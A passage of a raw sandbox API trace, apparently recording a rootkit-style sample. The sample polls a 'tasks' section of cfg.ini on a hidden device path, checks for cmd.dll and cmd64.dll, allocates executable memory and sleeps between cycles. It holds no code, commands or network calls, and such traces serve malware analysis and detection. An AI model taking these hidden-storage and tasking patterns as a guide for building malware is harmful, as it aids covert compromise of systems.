KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.418] IdePortDispatch () returned 0x103 [0119.418] KeWaitForMutexObject () returned 0x0 [0119.418] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.419] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.419] IdePortDispatch () returned 0x103 [0119.419] KeWaitForMutexObject () returned 0x0 [0119.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.419] KeLeaveCriticalRegion () [0119.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.419] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.419] KeEnterCriticalRegion () [0119.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.419] KeLeaveCriticalRegion () [0119.419] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.419] KeEnterCriticalRegion () [0119.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.419] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.419] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.419] KeLeaveCriticalRegion () [0119.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.420] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.420] KeEnterCriticalRegion () [0119.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.420] ExFreePoolWithTag (P=0xfffffa8003bcb5b0, Tag=0x0) [0119.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.420] KeLeaveCriticalRegion () [0119.420] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.420] ReleaseMutex (hMutex=0xf0) returned 1 [0119.420] Sleep (dwMilliseconds=0x927c0) [0119.427] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.427] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.430] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.430] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.430] KeEnterCriticalRegion () [0119.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.430] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.430] IdePortDispatch () returned 0x103 [0119.430] KeWaitForMutexObject () returned 0x0 [0119.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.430] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.430] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.430] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.430] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.430] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c8540 [0119.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] KeLeaveCriticalRegion () [0119.430] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.430] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.430] KeEnterCriticalRegion () [0119.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.430] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.431] KeLeaveCriticalRegion () [0119.431] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.431] KeEnterCriticalRegion () [0119.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.431] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.431] IdePortDispatch () returned 0x103 [0119.431] KeWaitForMutexObject () returned 0x0 [0119.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.431] KeLeaveCriticalRegion () [0119.431] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.431] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.431] KeEnterCriticalRegion () [0119.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.431] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d85000 [0119.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.431] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.431] IdePortDispatch () returned 0x103 [0119.431] KeWaitForMutexObject () returned 0x0 [0119.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.431] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.431] IdePortDispatch () returned 0x103 [0119.432] KeWaitForMutexObject () returned 0x0 [0119.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.432] KeLeaveCriticalRegion () [0119.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.432] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.432] KeEnterCriticalRegion () [0119.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.432] KeLeaveCriticalRegion () [0119.432] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.432] KeEnterCriticalRegion () [0119.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.432] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.432] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.432] KeLeaveCriticalRegion () [0119.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.432] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.432] KeEnterCriticalRegion () [0119.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] ExFreePoolWithTag (P=0xfffffa80039c8540, Tag=0x0) [0119.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.433] KeLeaveCriticalRegion () [0119.433] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.433] ReleaseMutex (hMutex=0xf0) returned 1 [0119.433] Sleep (dwMilliseconds=0x927c0) [0119.442] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.442] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.442] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.442] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.442] KeEnterCriticalRegion () [0119.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.442] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.442] IdePortDispatch () returned 0x103 [0119.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.442] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.442] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.442] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.442] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.442] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.442] KeLeaveCriticalRegion () [0119.442] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.442] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.442] KeEnterCriticalRegion () [0119.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.442] KeLeaveCriticalRegion () [0119.442] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.443] KeEnterCriticalRegion () [0119.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.443] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.443] IdePortDispatch () returned 0x103 [0119.443] KeWaitForMutexObject () returned 0x0 [0119.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.443] KeLeaveCriticalRegion () [0119.443] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.443] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.443] KeEnterCriticalRegion () [0119.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.443] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d88000 [0119.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.443] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.443] IdePortDispatch () returned 0x103 [0119.443] KeWaitForMutexObject () returned 0x0 [0119.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.443] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.443] IdePortDispatch () returned 0x103 [0119.444] KeWaitForMutexObject () returned 0x0 [0119.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.444] KeLeaveCriticalRegion () [0119.444] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.444] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.444] KeEnterCriticalRegion () [0119.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.444] KeLeaveCriticalRegion () [0119.444] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.444] KeEnterCriticalRegion () [0119.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.444] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.444] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.444] KeLeaveCriticalRegion () [0119.444] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.445] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.445] KeEnterCriticalRegion () [0119.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.445] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.445] KeLeaveCriticalRegion () [0119.445] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.445] ReleaseMutex (hMutex=0xf0) returned 1 [0119.445] Sleep (dwMilliseconds=0x927c0) [0119.458] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.458] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.458] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.458] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.458] KeEnterCriticalRegion () [0119.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.459] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.459] IdePortDispatch () returned 0x103 [0119.459] KeWaitForMutexObject () returned 0x0 [0119.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.459] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.459] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.459] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.459] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.459] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1a00 [0119.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.459] KeLeaveCriticalRegion () [0119.459] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.459] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.459] KeEnterCriticalRegion () [0119.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.459] KeLeaveCriticalRegion () [0119.459] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.459] KeEnterCriticalRegion () [0119.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.459] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.459] IdePortDispatch () returned 0x103 [0119.459] KeWaitForMutexObject () returned 0x0 [0119.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.460] KeLeaveCriticalRegion () [0119.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.460] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.460] KeEnterCriticalRegion () [0119.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8d000 [0119.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.460] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.460] IdePortDispatch () returned 0x103 [0119.460] KeWaitForMutexObject () returned 0x0 [0119.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.460] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.460] IdePortDispatch () returned 0x103 [0119.460] KeWaitForMutexObject () returned 0x0 [0119.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.460] KeLeaveCriticalRegion () [0119.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.461] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.461] KeEnterCriticalRegion () [0119.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] KeLeaveCriticalRegion () [0119.461] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.461] KeEnterCriticalRegion () [0119.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.461] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.461] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1ac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 